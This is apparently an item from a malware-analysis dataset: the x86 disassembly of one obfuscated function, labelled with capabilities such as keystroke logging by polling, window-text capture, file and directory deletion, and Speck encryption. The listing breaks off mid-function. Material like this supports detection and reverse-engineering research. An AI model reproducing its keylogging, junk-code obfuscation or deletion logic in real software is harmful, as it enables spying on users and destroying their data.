Function at 0x10019259
Capabilities:
Delete directory
Delete file
Encrypt data using speck
Get graphical window text
Log keystrokes via polling

Disassembly:
mov eax, 0x10064f2d
call fcn.10064730
sub esp, 0x31c
push ebx
mov dword [ebp - 0x78], ecx
mov eax, 0x6edad94e
push esi
push edi
xor edi, edi
mov dword [ebp - 0x10], esp
inc edi
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0x3c], edi
xor ebx, ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], 0x7a73d2d6
mov dword [ebp - 0x24], 0x8bd4dfbd
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x24], 0xac46ddcd
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
push 2
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x3c], ebx
pop esi
cmp dword [ebp - 0x3c], 0x1b
jg 0x100194b6
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xc5021c3a
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x18], 0x65f6
cmp dword [ebp - 0x18], 0x67dc
jle 0x10019368
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov eax, esi
mov dword [ebp - 0x20], 0x355c
mov dword [ebp - 0x2c], eax
mov esi, ebx
mov ecx, esi
shl eax, cl
lea ecx, [ebp - 0x2c4]
cdq
push edx
push eax
call fcn.1000defa
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001932d
mov eax, dword [eax]
push eax
call fcn.1004f7a6
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2c4]
call fcn.1001b817
mov eax, dword [ebp - 0x2c]
inc esi
cmp esi, 0x74de
jl 0x10019311
dec eax
dec dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
jne 0x1001930f
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x37fd
jl 0x10019303
push 2
pop esi
mov dword [ebp - 0x24], 0xd95da228
cmp dword [ebp - 0x18], 0x63b6
jge 0x10019383
push 0x100087f0
call fcn.1004f7a6
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x18], 0x7b7f609b
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x24], 0x9d73df2e
mov dword [ebp - 0x24], 0x66d8ff8c
push esi
call fcn.1001b3c7
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], ebx
jmp 0x100193d1
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x19c]
mov dword [eax + ecx*4], 0x5d177cce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100193be
mov eax, dword [ebp - 0x19c]
dec dword [eax]
mov dword [ebp - 0x34], 0x25b8
cmp dword [ebp - 0x34], 0x2692
jle 0x10019449
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x28], 0x33fe
mov dword [ebp - 0x20], eax
mov ebx, eax
mov edi, 0x7834
mov eax, ebx
mov ecx, 0x1060df18
cdq
push edx
push eax
call fcn.1001b196
inc ebx
dec edi
jne 0x10019408
mov eax, dword [ebp - 0x20]
add eax, esi
dec dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
jne 0x10019401
mov edi, dword [ebp - 0x2c]
inc esi
cmp esi, 0x6de5
jl 0x100193f5
inc edi
mov dword [ebp - 0x2c], edi
push 0
pop ebx
cmp edi, 0x4368
jl 0x100193f3
xor edi, edi
push 2
inc edi
pop esi
mov dword [ebp - 0x18], ebx
jmp 0x10019459
cmp dword [ebp - 0x4c], ebx
jne 0x1001945f
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff0
jle 0x1001944e
mov byte [ebp - 4], 3
cmp dword [ebp - 0x34], 0x2388
jge 0x1001949f
mov edx, 0x10008834
mov ecx, 0x1060df18
call fcn.1001d6a1
jmp 0x1001949f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x19c]
call fcn.1001b449
inc dword [ebp - 0x3c]
jmp 0x100192cc
mov eax, 0x61928c17
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x14], edi
push esi
call fcn.1001b3c7
mov dword [ebp - 4], 5
mov dword [ebp - 0x4c], 0x22abf7c2
mov dword [ebp - 0x24], 0xbdf11caf
mov dword [ebp - 0x24], 0x8491f199
mov dword [ebp - 0x14], ebx
jmp 0x10019516
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xf8]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10019503
push 3
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x10019530
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2e8], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10019523
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
jl 0x10019568
mov dword [ebp - 0x18], ebx
jmp 0x10019553
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10019542
mov dword [ebp - 0x29c], 0x6580849f
dec dword [ebp - 0x14]
jns 0x1001953d
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x14]
neg eax
cmp eax, edi
mov eax, dword [ebp - 0xf8]
setg cl
cmp ecx, dword [eax]
jle 0x1001958a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x14], eax
jne 0x10019696
mov dword [ebp - 0x20], edi
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x24], 9
push edi
call fcn.1001b3c7
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x2c], 0xdeb47635
push 4
call fcn.1001b3c7
mov dword [ebp - 0x14], ebx
jmp 0x100195f3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x228]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100195e3
mov dword [ebp - 0x14], ebx
jmp 0x10019610
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100195fd
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffff
sbb eax, eax
inc eax
cmp dword [ebp - 0x20], eax
jg 0x10019665
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1b4]
sub edx, dword [eax]
mov eax, dword [ebp - 0x28]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, edi
sete cl
sub ecx, 0x8e0e
neg ecx
sbb ecx, ecx
inc ecx
cmp dword [ebp - 0x28], ecx
jle 0x10019667
mov eax, ebx
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001967e
push 0x12ef
call dword [sym.imp.USER32.dll_GetKeyState]
lea ecx, [ebp - 0x1b4]
call fcn.1001b449
lea ecx, [ebp - 0x228]
call fcn.1001b449
jmp 0x100196b0
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100196b0
push 0xc84
push ebx
push 0xd9d
call dword [sym.imp.USER32.dll_GetWindowTextW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf8]
call fcn.1001b449
mov eax, dword [0x1060efb4]
test al, 1
jne 0x10019756
or eax, edi
mov dword [0x1060efb4], eax
push ebx
mov dword [ebp - 4], 7
push ebx
mov dword [0x1060efd0], ebx
mov dword [0x1060efd4], ebx
call fcn.1001d5c7
mov dword [0x1060efd0], eax
mov dword [0x1060efd8], ebx
mov dword [0x1060efe0], ebx
mov byte [ebp - 4], 9
mov ecx, 0x1060efd8
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x12c]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x258]
mov dword [0x1060efec], 0x3f800000
push eax
mov dword [0x1060efdc], ebx
call fcn.1001d39f
push 0x10065d08
mov dword [0x1060efe4], 7
mov dword [0x1060efe8], 8
call fcn.1004f77c
or dword [ebp - 4], 0xffffffff
pop ecx
imul eax, dword [ebp - 0x78], 0x2710
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], eax
mov eax, 0x61928c17
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x18], ebx
jmp 0x10019799
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x54], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001978b
mov dword [ebp - 0x54], ebx
jmp 0x100197cd
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100197ca
push 0x1501
push ebx
push ebx
push ebx
push ebx
push 0x102
push 0xf62
push 0x589
call dword [sym.imp.USER32.dll_ScrollWindowEx]
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 3
jle 0x100197a3
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x54], eax
dec eax
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0xa0]
push eax
call fcn.1001b48b
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x1001993f
mov dword [ebp - 0x18], ebx
jmp 0x1001980f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x68], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10019801
mov dword [ebp - 0x68], ebx
cmp dword [ebp - 0x68], 0xfffffffc
jl 0x100198c8
mov eax, 0xf307
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x18], ebx
jmp 0x10019850
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x11c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10019843
mov dword [ebp - 0x118], 0xfffffff5
jmp 0x100198ae
mov dword [ebp - 0x34], 0x3c891c55
mov dword [ebp - 0x34], ebx
jmp 0x100198a2
mov dword [ebp - 0x18], 0x4a754320
mov dword [ebp - 0x18], ebx
jmp 0x10019889
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x21c], ebx
jne 0x1001988f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1001987a
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001989f
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffee
jge 0x1001986e
inc dword [ebp - 0x118]
cmp dword [ebp - 0x118], esi
jne 0x10019862
dec dword [ebp - 0x68]
mov eax, 0xf307
cmp dword [ebp - 0x68], 0xfffffffc
jge 0x10019826
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x1cc]
push 3
mov dword [ebp - 0xd8], eax
call fcn.1001b3c7
push 3
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x100198f9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1cc]
mov dword [eax + ecx*4], 0x540d7f82
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100198e6
mov dword [ebp - 0x14], ebx
jmp 0x1001990d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10019903
mov dword [ebp - 0x5c], ebx
jmp 0x1001992a
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x1cc]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], edx
jl 0x10019917
lea ecx, [ebp - 0x1cc]
call fcn.1001b449
jmp 0x1001b0f8
mov dword [ebp - 0x38], 0xd5e48d32
mov dword [ebp - 0x24], 0x325423b1
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x38], esi
jmp 0x10019bd9
push edi
lea ecx, [ebp - 0xc4]
call fcn.1001b3c7
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x2c], edi
push edi
call fcn.1001b3c7
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x14], ebx
jmp 0x10019994
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcc], 0x5683c8fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10019983
mov dword [ebp - 0x14], ebx
jmp 0x100199b1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc4]
mov dword [eax + ecx*4], 0xee7d214c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001999e
mov dword [ebp - 0x14], ebx
jmp 0x100199ce
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], 0x720725fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100199bb
mov eax, dword [ebp - 0xc4]
mov dword [eax], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x80], 0x32f1efae
mov dword [ebp - 0x28], 0xb01197ba
mov dword [ebp - 0x74], 0xa0c2010
mov dword [ebp - 0x18], ebx
jmp 0x10019ba5
mov eax, dword [eax]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x24], 0x87ea82bc
mov dword [ebp - 0x24], 0x8f15ea37
mov dword [ebp - 0x24], 0xc394a737
mov dword [ebp - 0x3c], 0x4cad7069
mov ecx, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xcc], ecx
mov dword [ebp - 0x34], ebx
jmp 0x10019b99
push esi
lea ecx, [ebp - 0x104]
call fcn.1001b3c7
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x7c], 0xac012777
mov dword [ebp - 0x30], ebx
jmp 0x10019a75
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x104]
mov dword [eax + ecx*4], 0xc12265e3
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10019a62
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x44], eax
mov dword [eax], edi
mov dword [ebp - 0x3c], 0x3edb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xcc]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xcc]
sub eax, ecx
jne 0x10019ab0
mov eax, ebx
cmp dword [ebp - 0x2c], ebx
je 0x10019ab2
mov eax, edi
mov ecx, dword [ebp - 0x20]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov ecx, dword [ebp - 0x3c]
setne dl
xor eax, eax
cmp edx, 0x4102
setl al
imul ecx, dword [ebp - 0x20]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xfffffff6
setg al
xor ecx, ecx
cmp eax, edi
mov eax, dword [ebp - 0x13c]
setge cl
xor edx, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
cmp ecx, dword [eax + 4]
mov eax, dword [ebp - 0x3c]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x104]
setg cl
mov edx, dword [eax]
mov eax, dword [ebp - 0x2c]
sub edx, ecx
sub edx, 0xfff9
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setg cl
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x14], ebx
je 0x10019b4c
cmp dword [ebp - 0x7c], ebx
jne 0x10019b3f
mov eax, dword [ebp - 0xc4]
mov ecx, ebx
cmp dword [eax], ebx
je 0x10019b41
mov ecx, edi
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
sub eax, 0xffff
neg eax
sbb eax, eax
inc eax
inc eax
jne 0x10019b6c
mov eax, ebx
cmp dword [ebp - 0x3c], ebx
je 0x10019b6e
mov eax, edi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0x104]
dec dword [eax]
jns 0x10019a85
lea ecx, [ebp - 0x104]
call fcn.1001b449
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x10019a3c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
mov eax, dword [ebp - 0xc4]
jle 0x10019a02
dec dword [eax]
jns 0x100199db
lea ecx, [ebp - 0x13c]
call fcn.1001b449
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc4]
call fcn.1001b449
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffffd
jge 0x10019958
mov eax, dword [0x1060efb4]
test al, 2
jne 0x10019c7a
or eax, esi
mov dword [0x1060efb4], eax
push ebx
mov dword [ebp - 4], 0xc
push ebx
mov dword [0x1060eff0], ebx
mov dword [0x1060eff4], ebx
call fcn.1001d5c7
mov dword [0x1060eff0], eax
mov dword [0x1060eff8], ebx
mov dword [0x1060f000], ebx
mov byte [ebp - 4], 0xe
mov ecx, 0x1060eff8
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x130]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x23c]
mov dword [0x1060f00c], 0x3f800000
push eax
mov dword [0x1060effc], ebx
call fcn.1001d39f
push 0x10065d03
mov dword [0x1060f004], 7
mov dword [0x1060f008], 8
call fcn.1004f77c
or dword [ebp - 4], 0xffffffff
pop ecx
push 3
lea ecx, [ebp - 0x190]
call fcn.1001b3c7
push 3
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x10019ca2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0x540d7f82
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10019c8f
mov dword [ebp - 0x14], ebx
jmp 0x10019cb6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10019cac
mov dword [ebp - 0x58], ebx
jmp 0x10019cd3
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], edx
jl 0x10019cc0
lea ecx, [ebp - 0x190]
call fcn.1001b449
lea eax, [ebp - 0x78]
xorps xmm0, xmm0
push eax
movdqu xmmword [ebp - 0xec], xmm0
call fcn.1001b4ed
mov eax, dword [eax]
mov dword [ebp - 0x24], 0xf0ea
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
mov dword [ebp - 0x3c], eax
je 0x10019d1e
push ebx
push 0xe32
push ebx
push 0xca7
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [ebp - 0x28], 0x55c2
cmp dword [ebp - 0x28], 0x5758
jle 0x10019d96
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x2dc]
xor eax, edx
cdq
push edx
push eax
call fcn.1000defa
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10019d58
mov eax, dword [eax]
push eax
call fcn.1004f7a6
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2dc]
call fcn.1001b817
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x6ceb
jl 0x10019d3a
inc esi
cmp esi, 0xba5
jl 0x10019d35
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x129e
jl 0x10019d33
push 2
pop esi
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10019dbc
push ebx
push 0x2484
push ebx
push 0x78d
push 0x24d9
push ebx
push 0x9ac
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
cmp dword [ebp - 0x28], 0x51e1
jge 0x10019dd0
push 0x100088b4
call fcn.1004f7a6
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp + 0xc], 0
jne 0x10019de4
cmp dword [ebp - 0x3c], 0
jne 0x1001a36b
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], 0x58e92eda
mov dword [ebp - 0x30], 0x5f84255e
mov dword [ebp - 0x18], ebx
jmp 0x10019e0e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xac], 0xc93b4e1a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10019dfd
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], esi
jg 0x10019f90
mov dword [ebp - 0x20], 0xffffffff
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10019ec6
mov dword [ebp - 0x28], 0x1c3f
cmp dword [ebp - 0x28], 0x1ced
jle 0x10019e93
mov edi, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov eax, edi
mov dword [ebp - 0x24], ebx
cdq
idiv esi
mov edi, dword [ebp - 0x24]
mov ebx, edx
mov eax, ebx
mov ecx, 0x1060df18
xor eax, edi
cdq
push edx
push eax
call fcn.1001b196
inc edi
cmp edi, 0x599d
jl 0x10019e58
mov edi, dword [ebp - 0x20]
inc esi
push 0
pop ebx
cmp esi, 0x42e5
jl 0x10019e4b
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x4a0e
jl 0x10019e49
xor edi, edi
push 2
inc edi
pop esi
push 0xb63
push 0x788
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 4], 0x11
cmp dword [ebp - 0x28], 0x1a86
jge 0x10019ec2
mov edx, 0x100088dc
mov ecx, 0x1060df18
call fcn.1001d6a1
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0xa4]
cmp eax, ecx
setge dl
xor eax, eax
cmp edx, 0xd915
setle al
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jne 0x10019f08
mov eax, dword [ebp - 0x38]
mov ecx, ebx
cmp dword [ebp + eax*4 - 0xac], ebx
je 0x10019f0a
mov ecx, edi
mov eax, dword [ebp - 0x2c]
imul eax, ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x38]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xac]
cmp eax, edx
mov eax, 0xf6cbcb1a
setl cl
cmp eax, ecx
sbb eax, eax
add eax, 0xa82f
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x38]
jmp 0x10019e17
mov dword [ebp - 0x18], 7
cmp dword [ebp - 0x18], 0xd
jge 0x1001a056
mov edx, 0x131e34f9
mov dword [ebp - 0x28], 0x189d
mov dword [ebp - 0x20c], edx
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x204], edx
mov dword [ebp - 0x200], edx
mov dword [ebp - 0x2c], 0xc996e158
mov dword [ebp - 0x24], 0x39f4802d
mov dword [ebp - 0x34], ebx
jmp 0x10019fe9
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x98], 0xc8c5cecc
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jl 0x10019fd8
mov eax, dword [ebp - 0x98]
xor ecx, ecx
mov dword [ebp - 0x200], eax
mov eax, dword [ebp - 0x28]
sub eax, 3
cmp eax, 0x3d2
setl cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x30], eax
jl 0x1001a022
mov ecx, edi
cmp dword [ebp - 0x30], ebx
jne 0x1001a024
mov ecx, ebx
mov eax, dword [ebp - 0x98]
inc eax
add eax, ecx
cmp eax, 0xfffb
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
inc ecx
sub eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
jl 0x10019fa6
mov dl, byte [ebp + 0xc]
lea eax, [ebp - 0x328]
mov ecx, dword [ebp - 0x78]
push eax
call fcn.1000df75
mov esi, eax
lea edi, [ebp - 0xec]
pop ecx
lea ecx, [ebp - 0x1f0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
mov dword [ebp - 0x14], ebx
inc edi
push edi
call fcn.1001b3c7
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x20], 0x6758e356
mov dword [ebp - 0x24], 0x4392f209
mov dword [ebp - 0x20], 0x59f6
cmp dword [ebp - 0x20], 0x5b63
jle 0x1001a0d6
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x1060df18
or eax, esi
cdq
push edx
push eax
call fcn.1001b196
inc edi
cmp edi, 0x1115
jl 0x1001a0b0
inc esi
cmp esi, 0xf38
jl 0x1001a0ae
xor edi, edi
inc edi
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x20], 0x5640
jge 0x1001a113
mov edx, 0x10008940
mov ecx, 0x1060df18
call fcn.1001d6a1
jmp 0x1001a113
mov dword [ebp - 0x18], ebx
jmp 0x1001a127
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1f0]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001a118
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001a142
push ebx
push 0x2125
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1f0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
cmp ecx, 0xc47d1afd
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
lea ecx, [ebp - 0x1f0]
setle dl
xor eax, eax
cmp edx, dword [ebp - 0x24]
setne al
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001b449
cmp byte [ebp + 0xc], 0
je 0x1001a36b
cmp dword [ebp - 0xe4], 0
je 0x1001a36b
push 3
lea ecx, [ebp - 0x1a8]
call fcn.1001b3c7
push 3
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x1001a208
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], 0x540d7f82
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001a1f5
mov dword [ebp - 0x14], ebx
jmp 0x1001a21c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x48], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001a212
mov dword [ebp - 0x48], ebx
jmp 0x1001a239
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1a8]
